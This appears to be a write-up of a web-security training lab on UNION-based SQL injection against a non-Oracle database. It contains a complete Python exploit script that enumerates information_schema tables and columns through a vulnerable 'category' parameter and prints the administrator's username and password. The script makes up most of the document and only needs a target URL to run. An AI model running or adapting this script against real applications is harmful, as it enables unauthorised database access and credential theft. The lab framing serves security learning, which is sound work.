SQLi Lab 5
SQL injection for metadata enumeration and admin credential extraction
SQL injection attack, listing the database contents on non-Oracle databases#
In this lab, I explored how SQL injection (SQLi) vulnerabilities can be escalated beyond authentication bypass to full database enumeration. The lab targeted a non-Oracle database (like MySQL or Microsoft SQL Server), using metadata tables such as information_schema.tables and information_schema.columns.
By chaining multiple UNION SELECT injections, I was able to list all table names, extract sensitive column names like username and password, and ultimately retrieve administrator credentials. The exercise demonstrated how exposing metadata through SQLi can lead to complete account compromise — a common, yet severe, backend vulnerability.
How Exploit Works#
- The
categoryparameter is vulnerable to SQL injection. - A
UNION SELECTis used to list table names frominformation_schema.tables. - Another injection pulls column names from
information_schema.columns. - The script identifies the table that stores user credentials.
- A final injection dumps usernames and passwords.
- Admin credentials are extracted from the output.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.netcmdExploit#
exploit.py
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def Get_User_Table(url):
uri = '/filter?category='
payload = '\' UNION+SELECT table_name, NULL FROM information_schema.tables--'
r = requests.get(url + uri + payload , verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
for th in soup.find_all('th'):
if th.text.startswith('users_'):
user_value = th.text
break
return user_value
def Get_columns(url, Table_Name):
uri = '/filter?category='
payload = f"'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='{Table_Name}'--"
r = requests.get(url + uri + payload , verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
for th in soup.find_all('th'):
if th.text.startswith('username_'):
user_value = th.text
break
for th in soup.find_all('th'):
if th.text.startswith('password_'):
password_value = th.text
break
return user_value, password_value
def Get_Administrator_Credentials(url, Get_User_Table, table_name):
user, pwd = Get_User_Table
payload = f"' UNION SELECT {user}, {pwd} FROM {table_name}--"
uri = '/filter?category='
r = requests.get(url + uri + payload , verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
# Find the row where <th> contains "administrator"
admin_row = soup.find('th', string='administrator')
if admin_row:
admin_username = admin_row.text.strip()
admin_password = admin_row.find_next_sibling('td').text.strip()
print("Username:", admin_username)
print("Password:", admin_password)
else:
print("Administrator entry not found.")
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" %sys.argv[0])
print('[-] Example: %s www.example.com ' % sys.argv[0])
sys.exit(-1)
Get_Administrator_Credentials(url, Get_columns(url, Get_User_Table(url)), Get_User_Table(url)) python